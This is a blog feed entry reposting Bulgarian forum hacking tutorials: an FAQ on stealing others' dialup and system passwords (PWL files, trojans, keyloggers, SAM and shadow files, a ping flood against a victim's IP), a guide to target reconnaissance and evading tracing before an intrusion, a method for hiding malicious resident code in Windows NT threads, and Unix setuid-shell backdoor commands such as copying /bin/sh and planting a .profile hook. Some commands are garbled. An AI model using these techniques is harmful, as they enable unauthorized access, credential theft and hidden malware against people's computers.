src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-380477088808829614</id><published>2008-02-28T07:01:00.004-08:00</published><updated>2008-02-28T07:02:24.395-08:00</updated><title type='text'></title><content type='html'>TUTORIALS&lt;br /&gt;&lt;br /&gt;Hack FAQ&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Как да разберем паролата на чужд dialup?&lt;br /&gt;• Намерете някакава пролука в провайдора и вземете всичките пароли… &lt;br /&gt;Ако user&#39;ът има разширен С: (достъпен за четене/понякога и запис), то може да копирате от там *.pwl и user.dat от директорията Windows. В .pwl се съхраняват шифрираните пароли за връзка (разкодирайте ги най-добре с PWLTool), а в user.dat се съхраняват телефите за връзката и паролата за Outlook Express. За намерането на такава &quot;разширена &quot; машина може да използвате NetBios-скенер от типа NAT, Essential NetTools и др.&lt;br /&gt;• Може да изпратите на usr&#39;а и троян. Основно съществуват две категории - MAIL и RAT…&lt;br /&gt;Mail Trojans - програма за троянски кон, която работи с e-mail. Изпраща ви информацията (файлове, пароли и др.) по e-mail с машина за троянци.&lt;br /&gt;RAT - Remote Administration Tools (програма за отдалечено администриране), позволява напълно или частично да управлява отдалечената машина…&lt;br /&gt;BackDoors също се отнася към RAT, както е ясно от името му - &quot;задна врата&quot; чрез него също може да се управлява машина…&lt;br /&gt;• Понякога не е необходимо да изпращате на някого троянци, след като може да се намерят заразени с RAT машини. Затова се използват различни скенери за открити портове (например SuperScan, PortScan). Ето малък списък на портовете, използвани от RAT-троянци:&lt;br /&gt;1243 - SubSeven 1.x &lt;br /&gt;1492 - FTP99CMP &lt;br /&gt;6670 - Deep Throat &lt;br /&gt;7306 - NetMonitor &lt;br /&gt;12346 - NetBus 1.x &lt;br /&gt;20034 - NetBus Pro &lt;br /&gt;21544 - GirlFriend &lt;br /&gt;23456 - EvilFtp &lt;br /&gt;27374 - SubSeven 2.x &lt;br /&gt;31337 - Back Orifice &lt;br /&gt;54320 - Back Orifice 2000&lt;br /&gt;• Може да се постави KEYLogger (клавиатурен шпионин) на този, чийто пароли желаете.&lt;br /&gt;• Възможно е паролата за Интернет на user&#39;а да е същата, каквато е на някаква пощенска кутия, например mail.bg… Може да отидете на сайта и в раздела &quot;Забравени пароли&quot; случайно да откриете отговора на зададения въпрос! Ако не го знаете опитайте се с хитрина да го разберете от самия user. А може и да използвате програмата за избор на парола за POP3.&lt;br /&gt;-За сега това е всичко необходимо  &lt;br /&gt;Защо някои PWL файлове се разшифроват моментално, а други много дълго… а някои въобще не искат?&lt;br /&gt;• Ако user&#39;ът от който сте взели PWL&#39;а използва парола за Windows, то pwl се шифрира с допълнителен ключ, затова не можеш да го хакнеш така лесно, паролите трябва да се подбират… А не се разкодира бързо затова, защото там няма парола. Забелязал съм, че ако размерът на файла е 688 байта, то той е празен… &lt;br /&gt;Казват, че трябва се кодира…&lt;br /&gt;Ами, да. Вие как мислите… има купища всякакъв software за защита на информацията… Ето няколко примера:&lt;br /&gt;• PGP - Pretty Good Privacy позволява да се се кодира всичко, наистина всички Public Keys - MD  …. Използвайте PGPDisk! Създайте Отделен Диск и съхранявайте там данните, които трябва да кодирате и… това и всичко.&lt;br /&gt;• FSecure FileCrypto - не знам колко надеждна е тя, но много (в това число и аз) хора я ползват и са доволни. Указвате директорията която трябва да се шифрова, указвате паролата и готово… файлът се разшифрира в реално време.&lt;br /&gt;• BestCrypt - шифрира данни… Повече нищо не знав, не съм я ползвал  &lt;br /&gt;• PureNoise - програма за шифриране разговорите на IRC…&lt;br /&gt;• TSM - криптира вашите ICQ съобщения.&lt;br /&gt;Знам IP на жертвата, какво мога да направя с него?&lt;br /&gt;• Да, много неща, например:&lt;br /&gt;• Може да сканираш портовете му, за да откриеш нещо отворено… дари някоя парола или троян без парола&lt;br /&gt;• Може да го заблудиш, но най добре с shell, при който каналът е с няколко Mb  … Избери ping -t -l 50000 IP.AD.DR.ES .. &lt;br /&gt;• Може да се използва някакви експлоити за неговата ОС &lt;br /&gt;В общи линии знам какво е IP, Ftp, Smtp…, но не разбирам за какво са те?&lt;br /&gt;• TCP/IP - Transmission Control Protocol/Internet Protocol (Протокол за управление на трансфера/Интернет протокол). В мрежа работеща на TCP/IP информацията се предава чрез IP пакети. Връзката с мрежата се идентифицира с 32-разлядни IP-адреси, които ние изразяваме във вид на десетични числа разделени с точки (например, 127.0.0.1).&lt;br /&gt;TCP - Transmission Control Protocol (Протокол за управление на трансфера) е ориентиран към работа с връзките и предава данните във вид на байтов поток.&lt;br /&gt;IP - Internet Protocol, протокол от ниско ниво, който управлява пакетите данни между отделните системи, свързани с помощта на малшрутизатири за формиране на Интернет или Интанет (маршрутизаторът е компютър, който предава пакети данни от една система в друга).&lt;br /&gt;FTP- File Transfer Protocol (Протокол за предаване на файлове), позволява да се предават файлове от едни компютър на друг чрез използването на ТСР връзки.&lt;br /&gt;• SMTP - Simple Mail Transfer Protocol (Обикновен протокол за транфер на пощата) определя формата на съобщенията, които SMTP-клиента, работещ на един компютър, може да използва за изпращане на email на SMTP-сървър, намиращ се на друг компютър.&lt;br /&gt;Как да си сменя IP&#39;то?&lt;br /&gt;• Най-простия начин е чрез използване на PROXY или SOCKS съвръри…За ICQ, FTP, IRC е нужно SOCKS, те обикновено стоят на port 1080… Също за IRC може да се използва BNC (Bouncers), но да се намерят е трудно… А PROXY може да намерите на http://proxycheck.spylog.com&lt;br /&gt;Как да получа информация за домйн или IP?&lt;br /&gt;• Може да отидеш тук: whois.internic.net, тук: whois.ripe.net или тук: whois.ripn.net. А може просто да използваш програмата SmartWhois… А ако искаш да видиш в коя част на смета се намира сървъра, то тогава ти е нужна NeoTrace.&lt;br /&gt;DOS, DDOS… Какво е това?&lt;br /&gt;• Дискова операционна Система  …Е, да… DOS - Denial Of Service (Отказ от обслужване). Ако някой server го flood&#39;нат, възползвайки се от уязвимостта му и той престане да отговаря на запитвания, то това може да се нарече DOS-атака… &lt;br /&gt;DDOS - Distributed Denial Of Servise, това е когато DOS-атаките на няколко машини са съсредоточени в една точка…Тогава атакувания server бързо пада  … Има различни прогрма-червеи, които могат да заразят server&#39;и и да ги доведат до състояние на DDOS-атаки, например Trinoo.&lt;br /&gt;Чувал съм, че за да се защитя от различни атаки, трябва да използвам FireWalls. Какво е това?&lt;br /&gt;• Да. FireWall&#39;ите са software&#39;ни и hardware&#39;ни. Software&#39;ен firewall - програма, която филтрира входящия/изходящия трафик и го проверява по свои правила (които могат да се изменят естествено), например е забранено да се използва NETBIOS по време на DIALUP-сесия. Значи FireWall&#39;ът ще блокира всички пакети отнасящи се за NETBIOS. Надявам се ме разбрахте… &lt;br /&gt;Препоръчителен Fire Wall за Win9xx/NT е Conseal PC FireWall. Има още много други, например ATGUARD, FireWall-1, F-Secure FireWall и други…Може да потърсите за други и сами.&lt;br /&gt;Как да намеря пароли с NT server? Къде се намилат те?&lt;br /&gt;• За съхранение на паролите в NT се използва SAM (Security Accounts Manager). SAM се съхранява в директориите %systemroot%\system32\config, но не може да получите достъп до SAM при заредена ОС. Има друг изход. Ако администраторът е създал резервен диск, копие на SAM трябва да има и тук - %systemroot%\repair\sam._ (например c:\winnt\repair\sam._). Тези копия по подразбиране са достъпни за четене от всеки. Използвайки utility samdump, както и програмата L0pht Crack може да извлечете комбинации с името на user&#39;a/парола от копирания SAM.&lt;br /&gt;А нещо за паролите в *nix-os?&lt;br /&gt;• Файл с пароли - /etc/passwd. Структурата изглежда така:login:password:UID:GID:comments:home:shell Ако видите ред от типа root:*:0:0:root:/bin/bash, значи паролата е падчертана (т.к. вместо парола има &quot;*&quot;). Паролите за login&#39;а се съхраняват в /etc/shadow, както и в /etc/master.passwd (ако е BSD), които не са достъпни за обикновения ползвател. Паролите шифровани с DES за десодиране често използват John The Ripper. Понакога съществуват файлове от типа /etc/shadow.old (или .bak), които са достъпни за четене, но само по някога  &lt;br /&gt;Искам да използвам някакъв експлоит! Но как? Намерих един, но той има разширение .с.&lt;br /&gt;• Закачете го на Unix server и наберете gcc exploit.c -o e… А после пуснете това, което се е получило - ./exploit.&lt;br /&gt;Може също да възникне и въпросът - &quot;А от къде да взема shell?&quot;… От тук: http://www.freeshells.net, http://www.hobbiton.org, http://www.cyberspace.org и въобще потърсете в търсачките за free shell… А ако имате валидна CCs, то може да си закупите пълноценна shell  ))&lt;br /&gt;Изследване преди Взлом &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Всеки мрежов взлом изисква няколко подготвителни изследвания, които трябва да осществи хакерът преди да седне зад компютъра. Грамотният &quot;взломаджия&quot; е необходимо да има определен обем информация. За да се заемеш с хакерството трябва да имаш определени знания в областта на компютрите и телекомуникациите (на ниво идеи), но за реалния взлом е необходимо най-напред телефонен номер или някакъв друг път за получаване на достъп до вражеския компютър. И в двата случая е необходимо предварително изследване. Преди да седнете зад компютъра ще ви се наложи да изследвате възможните способи за взлом и да изберете подходящия. И накрая ще извършите изследване след като получите достъп до избраната система, за да извлечете колкото се може повече полза от предоставилата ви се възможност. Като за начало нека да обсъдим какво трябва да се прави преди да се заемем с военните действия. &lt;br /&gt;Избор на цел&lt;br /&gt;  Под &quot;прицелване&quot; разбирам процес в хода, на който хакерът решава какво именно от съществуващото програмно обезпечение си заслужава да се опита да &quot;пробие&quot;. Тази тема по ред причини за някого може да се окаже тривиална, но тя заслужава да се обсъди по-подрoбно.&lt;br /&gt;  Да предположим, че сте новак в това дело. Да допуснем, че сте получили - по пътя на някакви собствени изследвания или по волята на случайността - информация, която според вас може да ви помогне да проникнете в определена система. Например, чрез нелегални компютърни канали сте се сдобили с телефонен номер на голяма правителствена база данни със сведения за шпионаж. Може просто да наберете този номер, за да се убедите дали са верни сведенията ви. Но от друга страна по-добре е първо да изследвате &quot;дивеча&quot; и да проверите дали си струва изразходваното време и похарчените пари за телефонната сметка, а също дали е оправдан риска при взлома. Потърсете дадения номер в телефонния указател или чрез телефонни справки. Ако той е обществено достъпен, то той по-скоро въобще не е компютърна линия и може да забравите за него. Може да ви се струва безсмислено изгубеното време при изследването на номера. Вместо това просто бихте го набрали. Но не забравяйте: преди да пипнете &quot;дивеча&quot; трябва да се сдoбиете с колкото се може повече информация за него. Действително ако номерът принадрежи на свръхсекретна база данни, бъдете готови за евентуално проследяване на обаждането. Във всички случай вашето позвъняване ще предизвика подозрение.&lt;br /&gt;  Новакът жадува да извърши своя пръв голям взлом и да извърши необмислена постъпка. Може би все още нямате опит при изменението на данните на телефонната компания или звъненето от автомат или някакъв друг способ за замаскиране на обаждането ви. Новакът набира секретния номер след предварителни изследвания, вероятно пак глупаво рискувайки, но той все пак се е придвижил с няколко степени по-високо по професионалната хакерска стълбица, от колкото други хлапета, които звънят въобще без всякаква подготовка - това е непоправима глупост.&lt;br /&gt;  И така, когато целта е избрана не е задължително веднага да се хвърляте в действие. Може да се окаже по-добре да изчакате, за да придобиете достатъчно опит да осъществите всичко както трябва. Ако действате ръководени от своите знания и опитът се провали, шансът за повторен опит е равен на нула, тъй като администраторът на системата също няма да стои със скръстени ръце. Преди да се снабдите с акваланг за откриване на потънали на дъното съкровища трябва първо да се научите да се държите на повърхността на водата, иначе ще потънете и това ще бъде скучна и бездарно и жалко за самите вас.&lt;br /&gt;  &quot;Прицелването&quot; включва и изследване от друг род. А ако наистина в ръцете си държите ключ към секретна информация? Вероятно първо трябва да помислите за най-добрия начин за проникване в тази система. Например, ако дадената система се намира в Интернет, налага ви се да измислите начин за влизане в системата под чуждо име. Но имайте пред вид, че на вашия &quot;дивеч&quot; може да хвърли око и някой друг ловец. Така че възможност за подготовка с години нямате. Хакерството е такова занимание, че побеждава най-енергичният.&lt;br /&gt;  Само най-големият идиот извършва взлом влизайки в системата под собственото си име. Преди да се заемете с каквото и да било измислете начин за вход под чуждо име. Взломът над компютърни системи от по-висок вид се дели на две части: частен взлом и обществен. Има се пред вид, че първоначално се маскирате под някакво частно лице и след това търсите начин за маскиране на вашия ползвател като регистриран ползвател на взломяваната система. Може да пропилеете сили, средства и време в опити за проникване в система, която в резултат може да се окаже безполезна. Затова след като сте наясно с това какво точно искате да откриете, трябва първоначално да осъществите необходимите изследвания. Изяснете си дали точно това са ХОРАТА, които вие сте избрали за постигане на целите си. Потенциалните мишени често могат да се изчислят, четейки свободно публикуваните открити документи. Те разчитат на &quot;етично използване&quot; на системата и често дават възможност да се надзълне в раздели защитени от погледа на простосмъртните.&lt;br /&gt;  Например, не отдавна ми се отдаде възможност да прочета малък откъс от стар доклад по мерки за безопасност. Той беше по-скоро списък с мерки, които трябва да се предприемат за повишаване защитата на компютърната мрежа. За времето, когато прочетох този откас мерките бяха вече приети, но мисълта за това, че защита действително е необходима, отдавна е отлетяла от главата на автора на доклада и информацията се оказала общодостъпна. Ето какво гласи заинтригувалият ме участък от доклада:&lt;br /&gt;  Мрежа 19 трябва напълно да е изолирана от персоналните компютри и широкополюсната мрежа с помощта на шлюзове. Входа в терминалните сървъри подлежи на защита. Персоналните компютри трябва да се снабдят със дъответстващи програмни обезпечения за осъществяване на наблюдение на мрежата с цел откриване на неправилното и/или неетичното й използване.&lt;br /&gt;  Погледнете какво море от информация може да се измлече от дадения откъс. Имайки пред вид тези препоръки за усилване на защитата няма да е трудно да открием същото това програмно обезпечение, което изпълнява функциите на защита. Тогава ще видим какво могат да правят тези програми и какво не. Може да потърсим в тях грешки или слаби места и да ги използваме. В най.лошия случай винаги сме в състояние да измислим друг способ за преодоляването на тези програми - нали на раменете си имаме глава, а не котел, нали? Но най-голям интерес представлява (и има непосредствено отношение към разсъждениета ни за &quot;прицелването&quot;) споменавенето на &quot;мрежа 19&quot;. Каква е тази &quot;мрежа 19&quot;? Защо администрацията е искала тя да бъде по-далече от чуждите очи? Ако подобен откъс попадне у хакер, той несъмнено ще избере &quot;мрежа19&quot; за обект на взлома си.&lt;br /&gt;  Това е един пример за случайно открита информация, която с успех може да се използва. Но помнете - аз изчитах ВСИЧКИ общодостъпни документи заради ЕДНА ЕДИНСТВЕНА задача - исках да извърша взлом. Това, че информацията попадна в ръцете ми е чиста СЛУЧАЙНОСТ, но тъвсенето провеждах ЦЕЛЕНАСОЧЕНО. Ако вашата цел е определена секретна компютърна система, разгледайте всички сходни с нея достъпни системи преди да се заемете с това, което ви интересува. Малко товар в джоба няма да натежи. Такова преглеждане може да доведе до полезни изводи, като случая с мрежа 19. В най-лошия случай ще се запознаете с различните стране на системата - &quot;дивеч&quot;. А какво трябва да търсите езследвайки достъпната система? По какъв начин става входа и изхода в нея, има ли пролуки и как системата реагира на тях, какъв е форматът на командите и какъв тип команди е подходящ за използване, що за компютър е и какво &quot;желязо&quot; се намира в него. Разбира се съществуват и още някои нещица, които ще търсите от рода на информация за интерфейса или колко време отнема изпълнението на тази или онази програма. Тези сведения ще потрябват по-късно, когато вече се заемете със взлома. Тогава няма да ви се иска, а и не е много удачно, да губите време, за да намерите нужната команда или нещо по-елементарно като изход от системата.&lt;br /&gt;  &quot;Прицелването&quot; може да се окаже не само скучно, но и раздразнително занимание. Защо трябва да се мъчим и да се занимаваме с такива глупости като събиране на предварителна информация? Да, прави сте! Съзсем не сте задължени да приемате тази предложения, за които говоря. Няма задължителни правила за това какво ще правите преди да се заемете с делото. Това е мое мнение, но този, който е решил да нарушава закона, трябва, в крайна сметка, да знае как се прави това.&lt;br /&gt;  И така, разработете основен план на действие. Уверете се, че избраната от вас цел е подходяца за дадения случай. Тогава ще знаете, че вашия лабиринт няма да се превърне в един безкраен лабиринт. Може да искате и да сте доволни от проникването в който и да е попаднал ви под ръка компютър с помощта на подръчни средства. Много хакери го правят отдавайки се на влечението и проникват в системи, които не крият в себе си нищо особено. Те получават удовлетворение от самия процес на взлом. Но къде-къде по-интересно е да проникнеш в система с някакво ниво на секретност. Затова е необходимо да се проявява съобразителност при избора на цел. Проникването в системата е само половината работа, когато се окажете вътре ще ви бъде доста по-интересно.&lt;br /&gt;&lt;br /&gt;Събиране на информация&lt;br /&gt;&lt;br /&gt;  Преди да пристъпите към своето изследване трябва да изясните какъв род информация се стремите да получите. Съществуват три теми, за които е длъжен да има представа хакерът: телекомуникациите въоще, системите въобще и конкретните системи в часност. Трябва да имате определено ниво на знания за компютрите, модемите, телефонните мрежи и човешката натура.&lt;br /&gt;  Влезте в близката библиотека или се сдибийте по друг начин с необходимите ви книги. Трябват ви книги за компютри, книги за углавното право и книги за управление на бизнеса. Също могат да се открият &quot;легални&quot; книги за хакерство и компютърно престъпление. Също трябва да разглеждате и книги, свързани с телекомуникацията. Ако искате да получите понятие за различните ситуации, в които може да попаднете, значи са ви необходими книги за информационните служби, интерактивна база данни, компютърни престъпления, операционни системи, BBS и за всичко, което има отношение към действията произтичащи с компютри и модеми. Не забравяйте и за спрамочниците - там се съдържат много полезни материали. Хакерството преди всичко се учи чрез практика, но в техническата литература също може да се намери не малко добри примери и хитринки… Но не ме разбирайте погрешно. Не искам да кажа, че трябва да прочетете всяка съществуваща книга. Съвсем нямам пред вид, че всичкото това трябва да прочетете преди да започнете първите си хакерски опити. Просто искам да кажа, че често хората не могат да си представят колко богата информация могат да почелпят от напълно достъпни източници, като не прибягват до никакъв взлом. Четейки книгите ще узнаете как изглеждат компютърните системи отвътре. Ще се запознаете с различни необходими команди, формати на имена и пароли, които се използват в различните системи. Като допълнение често в такива книги може да намерите списък с достъпни номера - след като позвъните може да проверите различните системи или да получите информация за тях. Всички тези сведения ще ви помогнат и ще ви придвижат напред. Не са за подценяване компютърните вестници и списания, а също и богатата информация, която се съдържа в Интернет. Има хиляди начини да се абонирате за най-новото в областта на компютърната защита. Аз например, знам всичко относно най-новите постижения в програмните продукти за защита. Въоръжен с такива сведения мога да се промъквам навсякъде по свой заобиколен начин. Знам как точно как точно залавят хакерите и по какъв начин да избегна капаните.&lt;br /&gt;  С някои нестандартни методи на изследване ще ви запозная следващия път. Дано не сам ви досадил с многото си наставления. Ако съм успял да ви накарам да се замислите над думите ми е добре. Свършил съм си работата!&lt;br /&gt;&lt;br /&gt;Останалото ще го постна в следващия пост-Знам че ще наруша правилата,но пълния текст беше прекалено дълъг и не можах да го постна целия&lt;br /&gt;PS.Ако някой знае други такива неща да казва  &lt;br /&gt;freaker&lt;br /&gt;Oct 4 2005, 04:30 PM&lt;br /&gt;Реших да преместя темата в раздел чат,защото това тук не се отнася конкретно за вин,пък и мога да поствам постове един след друг-четох го това в правилата-и така ще споделя информацията която имам по-бързо с вас:&lt;br /&gt;Кефете се пак&quot;&lt;br /&gt;&lt;br /&gt;[quote]ШПИОНИ&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Винаги ме е интересувал въпросът за програмите-шпиони. Представете си, резидентен код, който изпълнява някакви действия на вашия компютър, а вие не можете да го откриете. Възмотително, ама не е ли възмотително? А да имам такава програма винаги ми се е искало.&lt;br /&gt;  В Internet тази тема много широко се обсъжда, обсъжда се и си мисля, че винаги ще е на днемен ред. Сред огромното количество мнения, съждения и прочие словесен боклук, ми попадна твърдението на един гуру, което гласи: &quot;Вие не можете да скриете процеса от функцията NtQuerySystemInformation&quot;. Това прилича повече на смъртна присъда. Кристалната мечта от моето детство бе разбита сега и завинаги. Но: много се надявам, че за програмите шпиони не съм мечтал само аз. На вас, мои духовни събратя ви посвещавам тази статийка. Сериозните чичкомци (по народному им викат системни администратори), работата на които се заключава в задушаването на свободния и прост народ: виноват, простите user&#39;и не трябва да четат това. Всички по-нататъшни разсъждения ще са за процесор i386 ОС Windows NT 4.0 (SP4 или SP6), тъй като от Unix не разбирам.&lt;br /&gt;  Ох!&lt;br /&gt;  Да не ви се причува!&lt;br /&gt;  Покайвам се!&lt;br /&gt;  Простете!&lt;br /&gt;  Позор за моята посивяваща глава  &lt;br /&gt;  Е, сега след като най-интелектуалната част от аудиторията гръмко тръшна вратата, встъплението може да завърши и да преминем към работа.&lt;br /&gt;Отначало нека да поговорим за това как и защо се използват програмите шпиони. Да предположим, че вие сте влезли в Интернет и сте започнали да си теглите някаква удивителна програма, картинка, документ или каквото и да е друго. А в последствие се указва, че &quot;злобните&quot; хакери са забожили в тази програма вирус или троянски кон. Като опитен и шкулован user, вие веднага стартирате Task Manager и ГО виждате. След което ГО убивате чрез бутона End Process. Накои особено злобни хакери се оптвот да ви пуснат драйвър, но за наше щастие затова са необходими права на администратор. Това е обичайно развитие на събитията. А сега да предположим, че в Task Manager вие не ГО виждате, какво да правим? Обикновените user&#39;и могат да се помислят, че няма нищо и че във файла няма троянец. Но това не са нашите user&#39;и. Нормалния параноидален user веднага ще предосети опасността и ще бъде прав. Искам да отбележа, че тук не става дума за класически вирус. Безусловно вирусите са прекрасно изобретение на човечеството, но те имат един сериозен недостатък. А именно, че той работи само ЕДИН път при стартиране на инфектираната програма. Изпълнявойки своя къс от кода, той е принуден да предаде управлението на програмата носител. Ако пък му се иска да стане резидент, то тогава ще му се наложи някъде да &quot;живее&quot;, тоест се създава процес.&lt;br /&gt;  Възможно ли е това: да бъдеш резидент (това звучи гордо!) и да не &quot;светиш&quot; в Task Manager! Отговарям, НАПЪЛНО ВЪЗМОЖНО! Позвънете веднага и само за 49,99$ вашата мечта ще стане реалност: Хм, простете, едвам изказах този рекламен бацил (езика не може да ми се обърне и да го нарека с благородната дума &quot;вирус&quot;).&lt;br /&gt;  Повече от това за какво ни е този микрософтски Task Manager или Spy++, всеки малосериозен програмист може да напише Task Manager. Затова трябва да се крие от всичко свързано с това проклето семейство до седмо коляно включително. В сърцето си всеки Task Manager се явява функция NtQuerySystemInformation. Останалото са просто обвивка, рамки и още малко глупости. Въпреки,че тази функция е недокументирана от компанията …, в Интернет за нея е написано пре достатъчно. Затова тук няма да вникваме в подробностите, а ще кажем, че цялата информация, която вие виждате на екрана предствалява тази и само тази функция. И уви, гупуто беше прав! Вие действително не може да скриете процеса от NtQuerySystemInformation (наистина не знам как може да сатне това), влакното (fiber), АРС и DPC процедури, функции за обработка на изключванията и прекъсванията. Възможни са и купища други неща, за които не днаем. (ако говорим съвсем сериозно, то не се изпълнява процес, а негови потоци, затова процесът не се явява резидентен). И така, към днешния ден аз знам следните начини за скриване на резидентния код:&lt;br /&gt;  • Зареждане на дрейвер. Това е толкова примитивно, че изобщо няма да го обсъждаме. Освен всичко NtQuerySystemInformation предоставя информация и за драйверите, въпреки, че Task Manager не прави това. Е, а и на всичко отгоре има и SoftIce!&lt;br /&gt;  • Създава се поток за дадения процес. Този способ подродно е описан от Джефри Рихтер в книгата &quot;Windows за професионалисти&quot;. Също така има и информация и от Мат Питерек в Интернет. Този способ е доста по-интерес и оригинален, но в днешно време си се явява класика и да удивиш някого с него е почти невъзможно. Резидентния код да се открие в този случай е доста тежко. В Task Manager при един от процесите се явява допълнителен поток, но кой от нас по памет ще каже какви процеси би трябвало да протичат например при Explorer.exe? Пак чрез Task Manager може да видим списъкът на заредените библиотеки, но отново кой би могъл по памет да каже кои трябва да са заредените в Explorer.exe. Накрая съществува възможност за проследяване на времената на протичащите процеси. Е, тук вече ще има разлика. С две думи бъдете внимателни към потоците в резидентните процеси.&lt;br /&gt;  • Всевъзможния Rootkit. Това е зареждане на драйвър, който прехваща съобщения към NtQuerySystemInformation и предоставя свои данни. За съжаление подробности не мога да изложа тъй като и аз не моге да си представя как става това. Несостатъка е същия - необходими са права на администратор! А ако на машината ви се пусне един такъв драйвър това означава само едно - беда.&lt;br /&gt;  • Hooking - относително нов начин. Основава се на функцията SetWindowsHookEx. До колкото разбирам на нея се основават и шпионите за клавиатурата, мишката и всичко останало свързано с hook. В Интернет способа не е описан достатъчно, но и за това няма да отнемам хляба на неговите създатели. При този способ не се създава нов поток (ако някой от вас знае защо, то моля ви, обяснете ми…). Библиотеката от където се извиква функцията за обработка, се зарежда във ВСИЧКО съществуващо и отново се създават процеси. Затова пуснете своя процес и ако в него се появи библиотека, която не познавате, то е крайно време да разчистите машината.&lt;br /&gt;  • Превключване контекста на потока. В дадения случай резидентния код се изпълнява в контекста на някой вече започнал поток. Между другото самото система доста широко използва потоци на ползватели за собствени нужди. Както пише Хелен Кастър в книгата &quot;Основи на Windows NT и NTFS&quot; системата &quot;похищава&quot; поток и го използва за обработка на прекъсвания, извиквания на DPC и системни АРС функции. Тоест не малка част от операционната система представлява сама по себе си програма-невидимка.&lt;br /&gt;  При използването на дадения метод не се създава нито нов процес, нито нав поток. Зареждането на библиотеки в други процеси не се налага. По такъв начин единствения косвен признак за съществуването на външен резидентен код се явява увеличението на използванат памет. Но паметта е най-активно разходвания ресурс. Практически всички програми постоянно отделят и освобождават памет и да се определи какво количество заети килобайтове се явяват нармални за този или онзи процес е изключително трудно.&lt;br /&gt;  Разбира се има и недостатъци. Първо, резидентния код може да се изпълнява само когато системата предава управлението на поток-носитл. Но е възможно и ситуация, при която потокът има твърде нисък приоритет и заради стеснената многозадачност рядко ще получава управлението. Дори повече потокът може да премине в състояние на очакване и да остане в него неопределено дълго време. Ако бъде завършен, то завършва и резидентния код. Работата на резидентния код в решаваща степен зависи от потока носител.&lt;br /&gt;  Накратко алгоритъмът на предлагаемия метод се състои в следното:&lt;br /&gt;  • Необходимо е да се намери подходящ процес тоест такъв имащ посттоянно работещи потоци с приоритет на нормален или по-големи (&gt;8). За да се избегнат трудностите с правата има смисъл да се използва user&#39;ск процес. За намиране на такъв процес се използва естествено същата функция NtQuerySystemInformation.&lt;br /&gt;  • След като нужния процес е намерен и са определени идентификаторите на потоците му, зареждаме в пространството на дадения процес изпълняемия резидентин код. За да не прибягваме до асемблер това може да го направим във вид на библиотека, но това е въпрос на предпочитение. Процедурата на зарежданетне на беиблиотеката в зададения процес е подробно описана от Джефри Рихтер.&lt;br /&gt;  • Преустановяваме един от потоците на процеса, съхраняваме неговия в текущия стек, създаваме нов стек, изменяме контекста на потока така, че указателя на текущата команда (регистър Eip) да указва нашия резидентен код, преминаваме към новия стек, &quot;пробуждаме&quot; потока. Сега ако естествено нищо не сме пропуснали (хе-хе), то при получения поток ще се изпълнява нашия резидентен код. Естествено това не е всичко, тъй като в нашата задача не влиза да нарушаваме нормалното изпълнение на процеса (че ние хакери ли сме, или…?).&lt;br /&gt;  • След като резидентния код е свършил дейността си е необходимо да се премине към стария стек и да се вазстанови стария контекст. Сега потока (по моему) трябва да работи в нормален режим.&lt;br /&gt;  Това струва ми се е всичко. Много е просто, нали? Разбира се някои непринципни детайли бяха пропуснати…)))&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Взлом на UNIX&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Бъгове UID и други дупки в Unix&lt;br /&gt;  Как може да се взломи една Unix система използвайки бъга UID (user identificators) и всичко проиятно и отвратително свързано с него. Манипулацията на UID открива много възможности пред ползватилите на системата. Считам за необходимо да ви запозная със смисъла и процесите на изменение на UID програмата. Малка справка: когато бит UID прибавен към шел, при пускане твоят UID се изменя в UID на реалния собственик на програмата и изхождайки от това може да се възползваш от получения досъп непосредствено преди затваряне на процеса на работа.&lt;br /&gt;  Следствие: можеш да използваш каквито и да е команди, като се намираш ход UID на получения достъп. По такъв начин постоянно имаш достъп до системата, даже при условие, даже при условие, че се промени използваната парола за логин. Даже бих казал, че това е мнага па-удобно, от колкото да знаеш самия логин. Истината е проста - докато файлът съществува в системата съществуваш и ти като нейн user. При получаване на достъпа умна постъпка от твоя страна ще е копирането на шела в която и да е директория и възстановяването на UID и GID битове. По такъв начин при загуба на логина от твоя страна може да се стартира UID-шел от друг логин, в резултат на което получаваш преследван достъп. По-долу има нагледен пример. Изваждането на UID и GID се осъществява с помощта на програмата chmod. Ето и един нагледен пример, където за команда chmod се поставя притежаващия тази сила съществуващ файл. Също трябва да помните за копирането на /bin/sh.&lt;br /&gt;chmod hacker / tmp/ sh&lt;br /&gt;  Малко ли е? Условието е голямо (наличието на програма за поправки, самият достъп към поправките на файла и др.) в някои може да се осъществи подкопиране, съхранявайки бита UID. Копирайте bin/sh:&lt;br /&gt;$ ls -l rwsrwsrws root XXXX&lt;br /&gt;chsh&lt;br /&gt;$ cp /bin/sh chsh&lt;br /&gt;$ chsh&lt;br /&gt;#&lt;br /&gt;Сега за стандартно изменение на UID в облегчен вариант. Възможно е неговото преобразуване при условие, че имаш Write Access на UID файла. Ако имаш такива права, то след неговото копиране, трябва да въведете следната команда:&lt;br /&gt;cat / bin/ sh &gt; [самият UID файл]&lt;br /&gt;държа да отбележа, че UID си остава предишния! После пускаме изфабрикуваната програма , правим скрития UID шел и връщаме UID файла в изходно състояние от резервното копие- също няма да е лошо да намерите файлове root c SUID:&lt;br /&gt;find / -user root -perm -hacker -print&lt;br /&gt;Няколко думи за дупките. Всичко отново опира да твоята възможност корегиране и поправка. Ако модификацията ни е разрешена, то тогава напред - използваме .profile:&lt;br /&gt;$ ed .profile [номер] ? a cp /bin/sh .runme chmod a+x .runme chmod a+s .runme&lt;br /&gt;(control-d)&lt;br /&gt;? w [показва новят размер] ? q&lt;br /&gt;$ &lt;br /&gt;След канекта с този профил твоят ID се превръща в модифициращ профил. Всичко танцува. Не забравяйте euid или както е прието да го норичаме &quot;ефективен&quot; UID, отчитайки оверрайда на реалния ID.&lt;br /&gt;# chmod a+s /bin/ls&lt;br /&gt;# exit&lt;br /&gt;$ls -l /usr/fred&lt;br /&gt;...... и така нататък.&lt;br /&gt;Ls ще помогне да се справиш с всяка директория. С rm - се отделя и т.н. Голяма дупка в Unix системата се явяват програми, които са често пречка и за самите админи за модификацията на UID. Като правило в тях отсъства функцията за поправка до UID&lt;100 и съответно GID. Но и програмата не забранява да го направите. С цел за самосъхранение няма да се спускам в продробности, искам да си спя у дома, а не заедно с насилниците на деца и убийците  &lt;br /&gt;  И така, що се отнася до ползвателския достъп. С него е още 